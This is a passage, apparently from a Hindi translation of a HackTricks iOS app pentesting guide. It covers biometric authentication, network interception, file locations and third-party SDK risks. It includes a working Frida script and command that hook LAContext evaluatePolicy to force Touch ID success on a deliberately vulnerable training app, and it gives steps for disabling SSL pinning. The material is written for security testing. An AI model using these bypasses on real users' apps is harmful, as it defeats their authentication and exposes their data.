[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

द्वितीयक स्थानीय प्रमाणीकरण का बायपास प्राप्त करने के लिए, एक फ्रिडा स्क्रिप्ट लिखा जाता है। यह स्क्रिप्ट evaluatePolicy चेक को लक्षित करता है, इसके कॉलबैक को अंतर्दृष्टि करके सुनिश्चित करता है कि यह success=1 लौटाता है। कॉलबैक के व्यवहार को बदलकर, प्रमाणीकरण जांच को प्रभावी ढंग से बायपास किया जाता है।

नीचे दिया गया स्क्रिप्ट evaluatePolicy विधि के परिणाम को संशोधित करने के लिए इंजेक्ट किया जाता है। यह कॉलबैक के परिणाम को हमेशा सफलता दर्शाने के लिए बदलता है।

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

फ्रिडा स्क्रिप्ट इंजेक्ट करने और बायोमेट्रिक प्रमाणीकरण को छलकरने के लिए निम्नलिखित कमांड का उपयोग किया जाता है:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

IPC के माध्यम से संवेदनशीलता का उजागरण

कस्टम URI हैंडलर / डीपलिंक्स / कस्टम स्कीम

{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}

यूनिवर्सल लिंक्स

{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}

UIActivity साझा करना

{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}

UIPasteboard

{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}

ऐप एक्सटेंशन्स

{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}

वेबव्यू

{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}

सिरीयलाइजेशन और इन्कोडिंग

{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}

नेटवर्क संचार

बिना एन्क्रिप्शन के कोई संचार न हो रहा है यह जांचना महत्वपूर्ण है और यह भी सही है कि एप्लिकेशन सर्वर का TLS प्रमाणपत्र सही ढंग से सत्यापित कर रहा है
इन प्रकार की समस्याओं की जांच के लिए आप Burp जैसा प्रॉक्सी उपयोग कर सकते हैं:

{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}

होस्टनाम जांच

TLS प्रमाणपत्र की सत्यापन करने की एक सामान्य समस्या यह है कि प्रमाणपत्र द्वारा साइन किया गया है कि विश्वसनीय CA द्वारा, लेकिन यह नहीं जांचता कि प्रमाणपत्र का होस्टनाम जिस होस्टनाम को एक्सेस किया जा रहा है, वह है या नहीं।
इस समस्या की जांच करने के लिए Burp का उपयोग करते हुए, iPhone में Burp CA को विश्वसनीय बनाने के बाद, आप एक नया प्रमाणपत्र बना सकते हैं Burp के लिए एक विभिन्न होस्टनाम और इस्तेमाल कर सकते हैं। यदि एप्लिकेशन अब भी काम करता है, तो कुछ गलत है।

प्रमाणपत्र पिनिंग

यदि कोई एप्लिकेशन सही ढंग से SSL Pinning का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही होगा जो अपेक्षित है। जब एप्लिकेशन का परीक्षण किया जाता है तो यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र सेव करेगा
इस सुरक्षा को उलटने के लिए जेलब्रोकन डिवाइस के अंदर, आप एप्लिकेशन SSL Kill Switch इंस्टॉल कर सकते हैं या Burp Mobile Assistant इंस्टॉल कर सकते हैं।

आप भी objection's ios sslpinning disable का उपयोग कर सकते हैं

विविध

  • /System/Library में आप फोन में सिस्टम एप्लिकेशन द्वारा उपयोग किए जाने वाले फ्रेमवर्क पा सकते हैं
  • उपयोगकर्ता द्वारा इंस्टॉल की गई एप्लिकेशन एप्प स्टोर से /User/Applications के अंदर स्थित हैं
  • और /User/Library में उपयोगकर्ता स्तर की एप्लिकेशन द्वारा सहेजे गए डेटा होता है
  • आप /User/Library/Notes/notes.sqlite तक पहुंच सकते हैं एप्लिकेशन के अंदर सहेजे गए नोट्स पढ़ने के लिए।
  • इंस्टॉल की गई एप्लिकेशन के फोल्डर के अंदर (/User/Applications/<APP ID>/) आप कुछ दिलचस्प फाइल्स पा सकते हैं:
  • iTunesArtwork: एप्लिकेशन द्वारा उपयोग किया जाने वाला आइकन
  • iTunesMetadata.plist: एप्लिकेशन की जानकारी जो एप्प स्टोर में उपयोग होती है
  • /Library/*: प्राथमिकताएं और कैश को संभालता है। /Library/Cache/Snapshots/* में आप एप्लिकेशन को बैकग्राउंड में भेजने से पहले किए गए स्नैपशॉट पा सकते हैं।

हॉट पैचिंग/अनुबंधित अपडेटिंग

डेवलपर अपने एप्लिकेशन की सभी स्थापनाएं तुरंत पैच कर सकते हैं बिना एप्लिकेशन को फिर से एप्प स्टोर में सबमिट करने और मंजूरी तक इंतजार करने की आवश्यकता न हो।
इस उद्देश्य के लिए आम तौर पर JSPatch जैसा उपयोग किया जाता है। लेकिन Siren और react-native-appstore-version-checker जैसे अन्य विकल्प भी हैं।
यह एक खतरनाक तंत्र है जिसे दुरुपयोग किया जा सकता है दुर्भाग्यवश तीसरे पक्षीय SDKs द्वारा, इसलिए सिफारिश की जाती है कि स्वचालित अपडेटिंग के लिए कौन सी विधि का उपयोग किया जा रहा है (यदि कोई) और इसे जांचा जाए। इस उद्देश्य के लिए आप पिछले संस्करण को डाउनलोड करने का प्रयास कर सकते हैं।

तीसरे पक्ष

तीसरे पक्षीय SDKs के साथ एक महत्वपूर्ण चुनौती है उनकी कार्यान्वयनों पर विस्तृत नियंत्रण की कमी। डेवलपरों के सामने एक विकल्प है: या तो SDK को एकीकृत करें और उसकी सभी विशेषताएं स्वीकार करें, सहित संभावित सुरक्षा संकटों और गोपनीयता संबंधित चिंताओं के, या पूरी तरह से इसके लाभों से वंचित रहें। अक्सर, डेवलपर इन SDKs के भीतर संक्षेप में सुरक्षा दोषों को पैच नहीं कर सकते। इसके अतिरिक्त, जैसे ही SDKs समुदाय में विश्वास प्राप्त करते हैं, कुछ मेलवेयर शामिल करने लग सकते हैं।

तीसरे पक्षीय SDKs द्वारा प्रदान की जाने वाली सेवाएं उपयोगकर्ता व्यवहार ट्रैकिंग, विज्ञापन प्रदर्शन या उपयोगकर्ता अनुभव में सुधार शामिल हो सकते हैं। हालांकि, यह एक जोखिम भी पैदा करता है क्योंकि डेवलपरों को इन पुस्तकालयों द्वारा निष्पूर्ण जानकारी की सीमा का पूरी तरह से अवगत नहीं हो सकता, जिससे संभावित गोपनीयता और सुरक्षा संकटों का सामना करना पड़ सकता है। तीसरे पक्षीय सेवाओं के साथ साझा की जाने वाली जानकारी को सीमित करना महत्वपूर्ण है और सुनिश्चित करना चाहिए कि कोई संवेदनशील डेटा उजागर न हो।

तीसरे पक्षीय सेवाओं का कार्यान्वयन आम तौर पर दो रूपों में होता है: एक स्वतंत्र पुस्तकालय या पूर्ण SDK। उपयोगकर्ता गोपनीयता की रक्षा के लिए, इन सेवाओं के साथ साझा की जाने वाली कोई भी डेटा अनामिकरण किया जाना चाहिए ताकि व्यक्तिगत पहचानीय जानकारी (PII) का उजागरण न हो।

एप्लिकेशन द्वारा उपयोग किए जाने वाली पुस्तकालयों की पहचान के ल

otool -L <application_path>

संदर्भ और अधिक संसाधन


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: